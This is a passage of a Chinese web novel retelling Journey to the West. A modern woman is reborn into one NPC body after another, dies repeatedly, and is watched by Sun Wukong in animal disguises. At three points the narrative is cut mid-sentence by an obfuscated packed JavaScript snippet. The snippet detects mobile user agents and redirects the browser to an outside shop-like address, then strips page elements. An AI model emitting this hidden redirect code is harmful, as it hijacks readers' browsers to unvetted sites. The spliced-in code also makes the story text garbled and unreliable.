《[西游]所以,吃了唐僧肉真的能长生不老吗?》 1. 异常生命体 肖小夭睁开眼。 眼前是一片密林。头顶是茂密的树冠,阳光从树叶缝隙里漏下来,斑斑驳驳地落在她脸上,晃得她眯起眼睛。空气里混着泥土的潮气、腐叶的酸味,还有一种极浓的腥臊气,呛得她鼻子发痒。 她躺在地上,后背硌着几块石头,腰酸背痛。身下的泥土有些潮湿,隔着粗布衣裳都能感觉到那股阴凉。有蚂蚁爬过她的手背,痒痒的,她条件反射地甩了甩手。 肖小夭眨了眨眼,盯着头顶的树叶看了三秒。 然后她坐了起来。 低头一看——粗布衣裳,打着补丁,袖口磨得起了毛边,衣襟上用粗线缝了好几处,针脚歪歪扭扭。手边放着一个竹编的药篓,里面装着几株叫不出名字的草药,根上还带着新鲜的泥土,叶片上沾着露水。 她抬起手翻看。指甲缝里有黑泥,掌心有几道细小的裂口,指节粗大,虎口处还有老茧——这是一双干惯了农活的手。不是她的。 肖小夭愣住了。 她记得自己刚才还在昏黄的台灯下,研究一本从旧书摊淘来的《西游奇异录》。那本书印刷粗糙,错别字连篇,但里面的插图却很传神。她翻到画着一只吊睛白额猛虎的那页,看着旁边那些不认识的古怪字体,感叹了一句:“这小老虎画得倒是栩栩如生,真想上手摸一摸。” 然后她摸了摸那张纸。然后……再睁眼,她就在这了。 肖小夭站起身,拍了拍衣服上的泥,原地转了一圈。看不见现代建筑,看不见柏油马路,听不到任何城市的喧嚣。只有参天古树,鸟鸣,和林间阴冷的风声。 行吧。按照她多年看书的经验,这个情况,一般就是穿了。 她乐观地想:虽然不知道穿到了哪里,但至少不用改方案,不用回老板微信了。这么一想,还挺划算。 然而,远处突然传来一声穿云裂石的虎啸。那啸声太过恐怖,带着实质般的威压,震得树叶簌簌往下掉,震得林间鸟雀惊飞。肖小夭腿肚子一软,刚才的乐观瞬间碎了一地。 她正要转身跑,脑子里突然响起一个声音。那声音很模糊,断断续续,像是老旧收音机没信号时的那种杂音,还带着滋滋啦啦的电流声。 【系统】:检测到……异常生命体……正在扫描…… 肖小夭脚步一顿:谁在说话? 【系统】:扫描失败……无法匹配……原NPC宿主信息…… 声音时有时无,系统似乎卡壳了。 肖小夭:喂?有人吗? 【系统】:启动……备用协议……备用协议启动失败……错误……无法清除…… 杂音戛然而止,取而代之的是越来越近的腥风。 肖小夭来不及多想,转身就跑。可还没跑出几步,前方的灌木丛猛地被撞开,一只巨大的老虎从林中扑出,“轰”地落在她面前三丈远的地方。 那不是普通的老虎。 太大了,肩高足有一人多高。身上的皮毛泛着淡淡的金光,额头上“王”字纹路清晰得像刻上去的。竖瞳金黄中透着血红,跟那本古籍插画里的别无二致。 老虎缓缓张开嘴。 “又来一个!”它开口了,声音粗哑得像砂纸磨石头,震得她耳膜生疼,“正好给大王当下酒菜!” 会说话的老虎。西游世界,八十一难…… 寅将军! 这是吃了唐僧两个随从的寅将军,这是真吃人的主! 肖小夭腿软了。她感觉自己的膝盖在发抖,小腿肚在打颤,恐惧像冰水一样兜头浇下,整个人像被抽走了骨头,半步都挪不动。 就在腥风扑面的瞬间,一道白光骤然降临。那白光刺眼得很,肖小夭下意识闭上眼。等她再睁开时,一个白发白须的老者已经站在她面前,挡在她和老虎之间。 老者抬手,手中拂尘只轻轻一挥。 不可一世的寅将军像撞上了一堵无形的气墙,庞大的身躯猛地倒退几步,忌惮地低吼了一声,转身消失在林子里。 老者转过身来。鹤发童颜,仙风道骨,一身白袍。脸上带着淡淡的笑意,看起来慈眉善目,但那双眼睛却格外清明,仿佛能洞穿这世间的每一副皮囊。 肖小夭脑子里条件反射地蹦出四个字:太白金星。 “女施主莫怕。”老者微微一笑,声音温和得让人想哭,“那妖怪已经退了。” 肖小夭惊魂未定,张了张嘴,半天才发着抖憋出一句话:“您是……太白金星?” 老者挑眉,清明的眼神里闪过一丝意外:“你认得老朽?” 肖小夭卡壳了。“我……我猜的。”她干巴巴地说,声音小得像蚊子叫,“您这造型,挺有辨识度的。” 太白金星盯着她看了两秒,突然笑了。那笑容里带着点意味深长,像是在看一个不属于这里的异数。 “有意思的丫头。”他说,“走吧,我送你下山。” —— 太白金星带着她离开虎穴,一路上没再说话。大约走了一个时辰,眼前豁然开朗。一个小村庄出现在山脚下,稀稀拉拉散落着十几户人家,炊烟袅袅。 太白金星停在村口。 “姑娘,”他转过身,看着她。那双眼睛微微眯起,眼神极深,“你命数有些奇怪。” 肖小夭心里咯噔一下,心脏瞬间提到了嗓子眼。 “什么意思?”她问,声音有点发紧。 “不该来的地方来了,不该出现的人……出现了。”太白金星声音低了几分,“日后小心。” 肖小夭愣住了:“您是说……我不该在这儿?” 太白金星没有回答。 他只是看了她最后一眼,那眼神复杂得很,像是在看一个谜团。随后,他化作一道白光,消失在天际。 肖小夭站在原地,脑子里一片混乱。 命数奇怪?不该出现?难道他看出自己不是原装的了? 她低头看了看这双长满老茧的手,用力掐了自己一下。疼。不是梦。 正琢磨着,远处传来一阵马蹄声。一队人马从山路上经过——一个骑白马的和尚,穿着锦襕袈裟,阳光下金光闪闪。身后跟着几个随从,挑着担子。 唐僧。肖小夭站在路边,盯着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347390|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个和尚看了几秒。白白净净的,跟刚出锅的白面馒头似的。皮肤白得发光,五官端正,一看就是个养尊处优的主。这卖相,难怪妖怪们前赴后继地想咬一口。 她赶紧甩了甩头,把这个危险的念头甩出脑海。 队伍从她面前经过,唐僧看了她一眼,微微点头算是打了个招呼,便继续赶路。 肖小夭看着他们的背影,突然意识到一个严重的问题。 寅将军,唐僧,双叉岭。 这是西游的第一难,是取经刚开始的地方。 她现在顶着个路人NPC的壳子,既没任务,系统还在故障,她到底为什么会在这里? 她叹了口气,正要转身进村子,余光突然瞥见不远处的一块大青石上,蹲着个什么东西。毛茸茸的,很小一团。肖小夭转头看去。 那是一只小猴子。真的小,比巴掌大不了多少。它蹲在石头上,手里捧着一个野桃子,正悠哉游哉地啃着。它的目光直直地盯着唐僧远去的方向,腮帮子一鼓一鼓的。 这荒郊野岭的,哪来的袖珍猴?似乎察觉到了她的目光,小猴子停下动作,转过了头。 四目相对。 肖小夭看清了那双眼睛。心脏猛地漏跳了一拍。 那绝不是普通猴子的眼睛。瞳孔深处隐隐有金光流转,深邃、桀骜,像是在极深的冰潭里燃着两团狂傲的烈火。亮得惊人,亮得她脑子里瞬间一片空白。 只被它看了一眼,肖小夭就有一种灵魂都被穿透的战栗感。 小猴子盯着她看了几秒。突然,它嘴角极其人性化地向上一扯,扯出一个似笑非笑的弧度。接着,它把手里啃了一半的桃子随手一扔,从石头上跃下,化作一道残影,几个起落便没入林中,快得像一道光。 肖小夭僵在原地,半天没反应过来。脑子里,那个断断续续的系统声音突然像诈尸一样响了起来。 【系统】:检测到……与目标生命体[齐天大圣]接触……引发目标关注……关注时长……三秒……记录中…… 肖小夭脑子里“嗡”的一声。 齐天大圣?孙悟空?!刚才那只小猴子是孙悟空?她猛地转头看向远处隐约巍峨的群山。唐僧收孙悟空的地方是在五行山下,他怎么会跑这儿来? 【系统】:(断断续续)大圣精通七十二变……留个分身出来容易得很……只是平时不屑为之……此次是提前来查探取经人…… 肖小夭目瞪口呆:那他看我干什么?! 想起刚才那个充满压迫感、又带着几分戏谑的对视,她后背一阵发毛。 【系统】:警告……目标生命体[齐天大圣]为本系统重点监测对象…… 肖小夭急了:重点监测对象?你们要测他什么? 【系统】:权限不足……无法回答…… 【系统】:错误!错误!检测到NPC外壳已被目标人物识破!逻辑冲突!系统故障!强制重新配置身份…… 肖小夭:不是,你等会儿!识破了会怎么样?我还没问完—— 没有任何预兆,眼前骤然一黑。 2. 麻雀大圣 意识回笼的瞬间,肖小夭发现自己正站在一片山林里。 她手里握着一把沉甸甸的开山柴刀,背上勒着个粗糙的藤编柴篓。脑子还有些发懵,最后的记忆停留在双叉岭的山脚下,被那个破系统宣告“强制重新配置身份”,然后眼前一黑就什么都不知道了。 “这就……换完了?”她低声嘀咕了一句,开始打量这具新“壳子”。 阳光从树叶缝隙里漏下来,空气里混着松脂的香气和泥土的潮气。远处隐约有溪水声叮叮咚咚,听着倒有几分惬意。 她低头打量自己——粗布短衣,打着补丁,袖口磨得起了毛边。裤腿挽到膝盖,结实的小腿上沾着泥巴,几道被荆棘划破的旧伤已经结了红褐色的血痂。脚上是一双破草鞋,脚趾缝里全是泥。 她习惯性地抬手摸了摸脸。 粗糙,干燥,还有一把扎手的……胡茬? 嗯?等会儿。哪来的胡茬?! 肖小夭心里猛地一沉,手颤抖着往下摸去——胸口硬邦邦的,平坦如砥。 平的! 肖小夭,啊不,现在的肖大哥愣在原地,整个人如遭雷击。 那个破系统黑屏前说强制重新配置身份,换个壳子就算了,怎么连性别都给换了?! 她在脑海里疯狂呼唤:系统?你个破玩意儿给我出来!你换壳子不看男女的吗?! 【系统】:……(一片死寂) 行,装死是吧。 肖小夭咬牙切齿地颠了颠手里的柴刀。事已至此,只能先走一步看一步了。 好在这具身体虽然是个糙汉,但比上一个采药村姑结实得多。小腿肌肉紧实,手臂孔武有力,走起山路来甚至不需要她刻意指挥,肌肉记忆自动就知道哪里该踩,怎么用柴刀劈开挡路的荆棘。 就在她寻思着接下来该往哪走时,远处突然传来一声极为凄厉的惨叫。 不是一声,是好几声,此起彼伏,撕心裂肺。 那声音里透着极度的恐惧和临死前的绝望,在幽深的山林里回荡,听得人头皮发麻,后背瞬间起了一层白毛汗。 肖小夭脚步一顿。 理智告诉她,在西游这地界,听到这种声音绝对没好事。她应该转身就跑,跑得越远越好。 她试图控制双腿转身,但诡异的事情发生了。 她的脚仿佛被焊在了地上,紧接着,不受控制地转了个方向,径直朝着惨叫声传来的地方迈开了步子。 “哎?停下!别过去!” 肖小夭在内心疯狂尖叫,但身体却像是个被上了发条的提线木偶,死板地遵循着某种既定路线,一步步拨开灌木,走向那片未知的修罗场。 这就是NPC的宿命吗?遇到剧情强制触发?! 穿过一片密林,视线豁然开朗,一幅令人作呕的血腥画面猝不及防地撞进眼帘。 三个巨大的妖怪,正在吃人。 真的是生吞活剥。 一只体型如小山般的黑熊,一头生着两把弯刀般牛角的漆黑野牛,还有……寅将军。 地上横七竖八地躺着几个穿着粗布衣裳的凡人。有的已经没了动静,有的还在血泊里抽搐。鲜血浸透了泥土,把周围的杂草染成触目惊心的暗红色。浓烈的血腥味混着内脏的腥臭直冲鼻腔,肖小夭胃里一阵翻江倒海,死死咬住嘴唇才没让自己吐出来。 而在群妖旁边的一棵老树上,绑着一个和尚。 唐僧脸色惨白如纸,浑身抖得像筛糠,紧闭着双眼,嘴唇飞快地张合着,显然是在念经壮胆。冷汗顺着他的额头淌进那身皱巴巴、沾满泥污的锦襕袈裟里,哪里还有半点得道高僧的从容。 肖小夭的身体终于在距离案发现场十几步外的一块巨石后停了下来,顺从地蹲下。她捂住口鼻,连大气都不敢出。 她想起来了,这是双叉岭的落坑折从。这几个倒霉的随从注定是要进妖怪肚子的。 按照剧情,太白金星马上就会来救场了。应该……会来吧? 前方,妖怪们似乎吃了个半饱,随手将残肢扔到一旁。 “那和尚留着明天再吃。”寅将军舔了舔爪子上猩红的血迹,长舌倒卷,动作令人胆寒,“这几天赶路累得很,今晚先歇息。” 特处士瓮声瓮气地附和:“这和尚白净细嫩,定是极品美味,比地上这些糙肉强多了。” 熊山君咧开血盆大口,露出森森尖牙:“明日再好好享用,先睡!” 三妖商议完毕,各自找了块空地卧下。 肖小夭蹲在石头后,腿已经麻了,但半寸也不敢挪动。 日头渐渐偏西,林中光线暗了下来,阴风阵阵。 终于,半空中一道微弱的白光闪过。 太白金星悄无声息地出现在树下。老神仙面容肃穆,手中拂尘只一挥,捆绑唐僧的绳索寸寸断裂。他单手扶起烂泥般的唐僧,正欲施法离去。 临行前,太白金星的动作突然微不可察地顿了一下。 他转过头,隔着幽暗的树影,目光精准地投向了肖小夭藏身的巨石。 四目相对。 老神仙清明的眼底闪过一丝疑惑,一丝不解,甚至还有一丝不易察觉的警惕。那个眼神仿佛在说:怎么又是你这个古怪的变数? 没等肖小夭细想,白光骤起,太白金星带着唐僧凭空消失。 肖小夭松了口气,刚准备揉揉发僵的膝盖,耳边突然传来一声极其轻微的“扑棱”声。 她转过头。 一只灰扑扑的麻雀,不知何时落在了她手边的石头上。 很普通的一只小麻雀,却正歪着小脑袋,一瞬不瞬地盯着她。 肖小夭的目光与它对上,呼吸猛地一滞。 那不是普通鸟类的眼睛。在那宛如黑豆般的瞳孔深处,隐隐跳跃着一丝微弱却极其纯粹的金光。熟悉,深邃,带着一种洞察一切的漫不经心。 她脑海里瞬间浮现出那只在五行山下吃桃子的小猴子。 “大圣?”她咽了口唾沫,极小声地试探了一句。 麻雀歪着头盯着她看了两秒。它没有点头,也没有任何亲昵的举动,只是眼底的金光闪烁了一下,随后发出一声短促的“叽”声,听起来莫名带着几分嘲弄的意味。 紧接着,它扑棱着翅膀飞起,落在了更高的一根树枝上,居高临下地俯视着她。 肖小夭还没来得及揣摩这声鸟叫的含义,身后突然传来一阵极重的、拉风箱般的喘息声。 呼哧……呼哧……伴随着浓烈的腥风。 她僵硬地回过头。 熊山君不知何时已经站在了她身后,巨大的阴影将她整个人笼罩。那比蒲扇还大的熊掌已经高高扬起。 “原来这还藏着一个!”黑熊精咧嘴狞笑,牙缝里还挂着暗红色的肉丝,“正好没吃饱,拿你加个餐!” “我靠!” 肖小夭爆出一句粗口,求生的本能瞬间战胜了NPC的限制,她连滚带爬地翻出巨石,抓起柴刀拔腿就跑。 不管横斜的树枝抽打在脸上,不管荆棘撕裂了小腿,她只管拼命往前冲。肺部像拉满的风箱一样生疼,眼前阵阵发黑,但身后那沉重如地震般的脚步声却越来越近! 逃不掉了。凡人的两条腿怎么可能跑得过成精的黑熊。 就在那股腥风几乎要触碰到她后颈的瞬间—— 头顶传来一声锐利的鸟鸣! 那只灰扑扑的麻雀宛如一支离弦的利箭,自半空俯冲而下,直直撞向熊山君的面门! “吼!”熊山君被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347391|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这突如其来的袭击惊了一下,下意识地抬爪去挥。 但麻雀灵活得不可思议,在半空中一个不可思议的折返,尖锐的鸟喙精准地啄向黑熊的左眼。 “叽喳!”麻雀的叫声凶悍异常,翅膀疯狂扑腾,硬生生逼得熊山君闭上眼睛,后退了半步。 就这半步的干扰,让肖小夭堪堪躲过了那开膛破肚的一击,多跑出了十几米。 但她很快绝望了。 前方没路了。 一道深不见底的悬崖横亘在眼前,云雾缭绕,阴风从谷底呼啸着卷上来,深不见底。 肖小夭猛地刹住脚步,几颗碎石从崖边滚落,许久听不到回声。 她猛地回头。 熊山君已经被彻底激怒,咆哮着一巴掌拍开了纠缠的麻雀,狂奔而来,携着万钧之力的巨掌狠狠拍向地面! “轰!” 肖小夭根本来不及躲避,熊山君这一掌虽然没拍中她,但狂暴的妖力直接震碎了她脚下的崖边岩石。 脚下一空,失重感瞬间袭来。 整个人不受控制地向后仰倒,坠入无边的云雾中。 在急速坠落的狂风中,肖小夭努力睁开眼睛,看向崖顶。 那只灰扑扑的麻雀没有追击黑熊,而是轻巧地落在了断裂的悬崖边缘。它就站在风中,微微歪着头,静静地看着她坠落。 那双隐没在灰羽下的眼眸里,金光流转,冷漠,深邃,却又仿佛带着某种正在审视的探究。 耳边的风声逐渐被黑暗吞噬。 意识消散的最后一秒,那个该死的机械音终于再次响了起来。 【系统】:宿主生命体征消失。正在重启…… 肖小夭在无尽的黑暗中睁开眼睛——如果这意识体还有眼睛的话。 【系统】:检测到……目标生命体[齐天大圣]……再次与宿主产生接触……记录中…… 肖小夭在意识里冷笑:果然是他。他变成麻雀来看唐僧,居然还顺手捞了我一把? 【系统】:目标生命体对宿主产生干预行为……干扰熊山君攻击……记录中…… 肖小夭:他为什么要帮我? 【系统】:权限不足……无法回答…… 肖小夭:…… 【系统】:警告!检测到目标生命体持续关注宿主……关注时长及行为累计……已超出常规路人NPC阈值……记录中…… 肖小夭:什么意思?他认出我了? 【系统】:目标生命体对宿主的关注行为……超出普通NPC逻辑标准……系统正在进行深度分析…… 肖小夭:那你分析出个所以然了吗? 【系统】:分析属于高阶功能,需启动核心验证程序。验证中…… 【系统】:滴——验证失败。宿主灵魂信息与当前西游世界记录不匹配。 【系统】:错误代码:000081。原NPC宿主灵魂不存在。 肖小夭终于抓住了重点:等会儿,什么叫我不存在?我不是你们精挑细选的宿主吗?! 【系统】:强制绑定临时异界灵魂。绑定成功。系统当前处于故障运行模式。 肖小夭出离愤怒了:什么叫临时宿主?!什么叫故障模式?!你给我把话说清楚!合着我是个被抓壮丁的Bug?! 【系统】:临时宿主权限不足,拒绝回答。 肖小夭气得想砸烂这个空间:你大爷的!穿得不明不白,给的系统是个残次品,还要被妖怪追着咬,我不干了! 【系统】:本次数据记录已完成。下一重置节点已生成。 【系统】:重启倒计时:3、2、1—— “你给我回来——!” 肖小夭的怒吼被彻底淹没在白光之中。 3. 故障模式 肖小夭第三次睁开眼时,发现自己正站在一个小院子里,手里拿着一把竹扫帚,脚边是一小堆刚扫拢的落叶。 院子不大,但收拾得井井有条。几间土坯房,屋顶铺着厚厚的干草,用石头压实。墙上挂着弓箭和几张处理好的兽皮——狐皮、兔皮,还有一张完整的花斑豹子皮,毛色鲜亮,一看就价值不菲。角落里搭着个木架,挂着一只刚剥了皮的鹿,血水还在往下滴。 屋门口,一条壮硕的大黄狗正懒洋洋地趴着晒太阳。它听见动静,掀起眼皮看了肖小夭一眼,尾巴有气无力地摇了两下,算是打了招呼,便又把下巴搁在前爪上,眯着眼打起了盹。 就在这时,脑海里那个冰冷的机械音毫无征兆地响起。 【系统】:重启完成。身份载入:刘伯钦家仆。当前场景:双叉岭。 肖小夭愣了一下,在心里试探着问:……系统?你活了? 【系统】:系统从未宕机,仅在重启。临时宿主肖小夭,欢迎绑定“西游NPC循环系统”。主线任务:在不暴露自身的情况下,确保西游主线剧情按既定轨道发展。 【系统】:本人为系统管理员,代号:小西。目前系统处于“故障运行模式”,正在自我修复。在修复完成前,请宿主严格进行“身份适配”。 肖小夭:什么叫身份适配? 【系统】:即扮演好当前NPC角色,行为、语言、逻辑必须符合身份设定,请勿OOC(Out of Character)。警告:任何导致当前世界线产生排斥反应的行为,都将触发抹杀机制。 抹杀。 这两个字像冰锥一样扎进肖小夭的意识里。她深吸一口气,闭上眼,再睁开时,眼神已经变了。 她现在就是刘家一个勤勤恳恳、任劳任怨的小仆人!扫地!必须把地扫得干干净净! 她卖力地挥舞着扫帚,但总觉得有道目光如有实质地落在自己身上。 她抬头看去。 那条大黄狗不知何时已经坐了起来,依旧趴在原地,但眼睛睁着,正一瞬不瞬地盯着她。 那眼神……不像一条普通的土狗。没有好奇,没有亲近,而是一种冷静的、近乎审视的打量。 肖小夭被看得有点发毛,低头继续扫。 扫了几下,那道目光依然黏在她身上。她忍不住又抬起头。 大黄狗还在看她。 “……看什么看,没见过人扫地啊?”她压低声音嘟囔了一句。 大黄狗耳朵动了动,似乎听见了,但没理她,眼神依旧没有移开。 就在这时,一个虎背熊腰的魁梧男人从主屋里走出来。他满脸络腮胡,腰间别着一把开山猎刀,气势慑人。 “丫头,杵那儿发什么呆?”男人声音洪亮如钟,“赶紧去把饭做了,今日俺救了个和尚,是贵客!” 刘伯钦!救唐僧的那个猎户! 肖小夭心里咯噔一下,脸上立刻换上一副乖巧听话的表情,努力适配身份:“诶!好嘞!我这就去!” 她放下扫帚,转身走向厨房。 刚走两步,就听见身后有动静。她回头一看,那条大黄狗居然站了起来,不远不近地跟在她身后,一直跟到厨房门口,然后往门槛上一趴,继续用那种探究的眼神盯着她。 肖小夭:“……”这狗是赖上我了? 厨房里,灶膛的火还未全熄。她从房梁上挂着的腊肉上费劲地切下几片,刀工惨不忍睹,厚薄不均。 她正跟手里的腊肉较劲,余光瞥见门口那个毛茸茸的影子还在。 大黄狗就趴在那儿,歪着头,静静地看她切肉。 肖小夭切下一小块不成形的碎肉,心里一动,随手朝它扔了过去。 “喏,饿了吧?赏你的。” 大黄狗低头,用鼻子嗅了嗅地上那块油汪汪的碎肉,然后抬起头,眼神里竟然流露出一丝清晰可辨的……嫌弃。 它伸出爪子,像拨开什么脏东西一样,把那片肉拨到一边,然后抬起脑袋,朝灶台角落里堆着的一筐胡萝卜,用下巴点了点。 肖小夭的动作僵住了。 “……你要吃萝卜?” 大黄狗的喉咙里发出一声低沉的“嗯”声,算是回答。 狗,不仅会挑食,还用这种方式表达意愿? 肖小夭感觉自己的世界观受到了冲击。她鬼使神差地拿起一根洗干净的胡萝卜,朝它扔了过去。 大黄狗精准地一口叼住,转身就走。 走到院子中央,它似乎想起了什么,又回过头,深深地看了她一眼。 就是那一瞬间,肖小夭看得清清楚楚。 在那双看似普通的褐色眼珠深处,有一道金光飞速闪过,桀骜,狂放,又瞬间隐去。 一个荒谬又唯一的念头,像闪电一样劈中了她。 她想起了那只小猴子,那只麻雀。 “哐当”一声,菜刀从她手中滑落,掉在案板上。 她扶着灶台,嘴唇翕动,用只有自己能听见的气声,试探着吐出两个字: “……大圣?” 叼着萝卜的大黄狗动作一顿。 它没有回头,也没有承认,但也没有否认。它只是摇了摇尾巴,趴回了门口的阳光下,咔嚓咔嚓地啃起了那根胡萝卜。 仿佛刚才的一切,都只是肖小夭的幻觉。 肖小夭靠在灶台上,心脏狂跳。 齐天大圣,孙悟空……他变成一条狗,蹲在她家门口看她做了一上午饭?图什么啊?! --- 下午,刘伯钦果然带回一个和尚。 白净斯文,穿着一身风尘仆仆的袈裟,正是唐僧。 肖小夭奉命端茶倒水,她低着头,将茶杯恭敬地递过去,眼角余光却忍不住瞥向门口。 大黄狗趴在那儿,眼睛半眯着,看似在打盹,但那对耳朵却警觉地竖得笔直,留意着屋里的一切动静。 夜里,肖小夭躺在柴房的干草堆上,烙饼似的翻来覆去。 【系统】:检测到宿主已存活超过12小时。记录中。 【系统】:警告!检测到目标生命体[齐天大圣]正处于近距离范围。距离:三丈以内。 肖小夭心里一惊。 三丈以内?那不就是院子里?还真是那条大黄狗! 就在这时,院外突然传来一声震天的怒吼,紧接着是木栅栏被撞碎的巨响! 肖小夭猛地从草堆上弹起来,贴在门缝上往外看。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347392|199536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >月光下,一头体型堪比公牛的巨大野猪闯进了院子,正和提刀冲出来的刘伯钦战作一团! 那野猪浑身黑毛根根倒竖,两根獠牙在月下泛着森森寒光,狂暴地冲撞着,院墙都被它撞塌了一片。刘伯钦的刀砍在它身上,竟只能擦出火星! 野猪一头撞开刘伯钦,目标明确地冲向一间客房——唐僧的房间! “糟了!” 肖小夭脑子还没反应过来,就见一道黄色的影子闪电般窜了出去。 是大黄狗! 它没有去帮刘伯钦,而是直接绕到野猪侧后方,一口死死咬住了野猪的后腿! 野猪吃痛,果然被激怒,放弃了唐僧,转身就朝大黄狗追去。大黄狗极为灵活,闪转腾挪,不断撕咬,硬生生把这头发狂的野兽从客房前引开。 肖小夭躲在柴房里,看得心惊肉跳。 堂堂齐天大圣,为了不暴露身份,竟然要用一只狗的凡胎□□去和妖怪硬刚?这也太憋屈了! 【系统】:逻辑成立。根据时间线,目标[齐天大圣]真身仍被压于五行山下,当前为分身形态,不可暴露本体力量。 肖小夭刚想夸小西一句“你还挺智能”,就听见系统再次发出警报。 【系统】:警告!宿主当前位置极度危险! 什么? 没等她反应,只听“轰隆”一声巨响,整个柴房剧烈震动! 那头野猪在追逐中,一头狠狠撞在了柴房的墙壁上! 肖小夭骇然抬头。 头顶,一根支撑屋顶的横梁在剧震中断裂,带着千钧之势,直直地朝她头顶砸落下来! 完了。 来不及躲了。 院中,与野猪缠斗的大黄狗似乎察觉到了什么,猛地回头。 它朝她这边看来,金色的瞳孔在黑暗中骤然亮起,不顾一切地朝柴房冲来。 但,太远了。 “砰!” 世界被黑暗吞噬。 最后一丝意识里,她仿佛看见那条浑身是血的大黄狗停在倒塌的柴房前,静静地看着这边,那双在夜色里亮得惊人的金色眼眸里,似乎闪过了一丝……她看不懂的情绪。 --- 【系统】:宿主死亡。正在重启…… 肖小夭在无尽的黑暗中睁开眼。 【系统】:检测到目标生命体[齐天大圣]对宿主产生主动干预行为。判定:营救。结果:失败。 肖小夭在意识里叹了口气:行吧,不怪他,毕竟人家主业是保护唐僧,救我只是顺带的。 【系统】:分析中……检测到宿主灵魂波动与“原初数据库”中记录的“天命人”匹配度上升……当前匹配度:30%。 肖小夭一愣:天命人?原宿主?什么东西? 【系统】:匹配度提升,部分权限已解锁。 肖小夭精神一振:什么权限?能给我换个牛逼点的身份不?比如二郎神家的哮天犬也行啊! 【系统】:检索中……权限不足。当前可解锁权限为:[死亡回放(简略版)]。 肖小夭:……我就知道。 她选择躺平。 【系统】:本次记录已完成。重启倒计时:3、2、1—— 4. 大圣出山 肖小夭第四次睁开眼。 没有血腥的修罗场,没有倒塌的横梁,也没有令人窒息的黑暗。 这一次,她站在山脚下的一条土路上。手里提着一个粗糙的竹篮,篮子里装着半下野果——青里透红的那种,表面结着一层涩霜,看着就倒牙,但在这个青黄不接的季节,已经算是难得的好东西了。 她低头打量自己:一身洗得发白的粗布衣裳,手肘和膝盖处打着几块颜色不一的补丁。脚上是一双旧布鞋,鞋头甚至磨出了两个破洞,露出脚趾。腰间系着根麻绳,坠着个鼓囊囊的旧水囊。 她抬起头,环顾四周。 远处,是一座巍峨奇绝的大山,五座山峰如人类的五指般直插云霄,隐隐透着一股威压之气。近处,一条蜿蜒的山路向远方延伸,山脚下稀稀拉拉散落着几户人家,炊烟袅袅,鸡犬相闻。 肖小夭眨了眨眼,在脑海里呼唤:小西,这次又是什么身份? 【系统】:重启完成。当前身份载入:五行山脚下指路的村姑。当前时间节点:唐僧即将到达五行山。 肖小夭:有什么必须强制执行的任务吗? 【系统】:检测中……当前未触发系统主线任务。系统仍处于“故障运行模式”,宿主可自由行动。 肖小夭愣了一下。自由行动?没有任务?这破系统终于做回人了? 【系统】:补充提示:自由行动不代表可以为所欲为。若宿主行为严重偏离NPC逻辑,被当前世界线排斥,仍将触发直接抹杀机制。建议宿主完成“身份适配”,安分等待剧情推进。 肖小夭撇撇嘴。 身份适配?她现在是个指路的村姑,那不就是传说中网游里头上顶着叹号的NPC吗?等唐僧一来,给他指个路就行了。 她提着篮子,悠哉游哉地沿着山路往前走。 没走多远,身后果然传来了“哒哒”的马蹄声。 肖小夭回头,只见一个白白净净、眉目如画的年轻和尚,骑着一匹白马缓步走来。他身上披着那件在阳光下金光闪闪的锦襕袈裟,正东张西望,白净的脸上写满了对陌生荒野的迷茫。 唐僧来了。 肖小夭停下脚步,十分敬业地站在路边等他。 唐僧看见前方有人,面露喜色,连忙勒住白马,双手合十:“阿弥陀佛。这位女施主,贫僧自东土大唐而来,前往西天拜佛求经。敢问前方那座形似五指的大山,可有路能过去?” 肖小夭心里一动。 五行山。那个命中注定的相遇,终于要开始了。 她抬起手,稳稳地指向五指山的方向,拿捏着村姑该有的语调:“长老,前方那座山便叫五行山。山下压着一只神猴,您若是一路向西,可顺路去看看。” 唐僧眼睛一亮:“神猴?” “正是。”肖小夭一本正经地背着台词,“听村里的老人说,被压了足足五百年了,还能说话呢。您要是路过,好歹打个招呼,说不定结个善缘。” 唐僧面露悲悯,连连道谢:“多谢女施主指点迷津。” 肖小夭看着他骑马朝五行山走去,心里莫名有些复杂。 那只猴子,那个被压了五百年的齐天大圣,终于要出来了。 她叹了口气,正准备转身离开,去享受自己的“自由活动”时间。 突然,一股极其强烈的寒意顺着脊椎猛地窜上后脑勺! 有一道目光,落在了她身上。 那目光太锐利、太霸道了,简直像凝结成实质的钢针,扎得她浑身汗毛倒竖。 她僵硬地顺着感觉传来的方向看去。 几里外的五行山脚下,乱石杂草之间,隐约露出一个毛茸茸的猴子脑袋。他嘴里似乎还叼着一根枯草根,正微微歪着头,隔着这么远的距离,遥遥地盯着她。 肖小夭看清楚了那双眼睛。 火眼金睛。 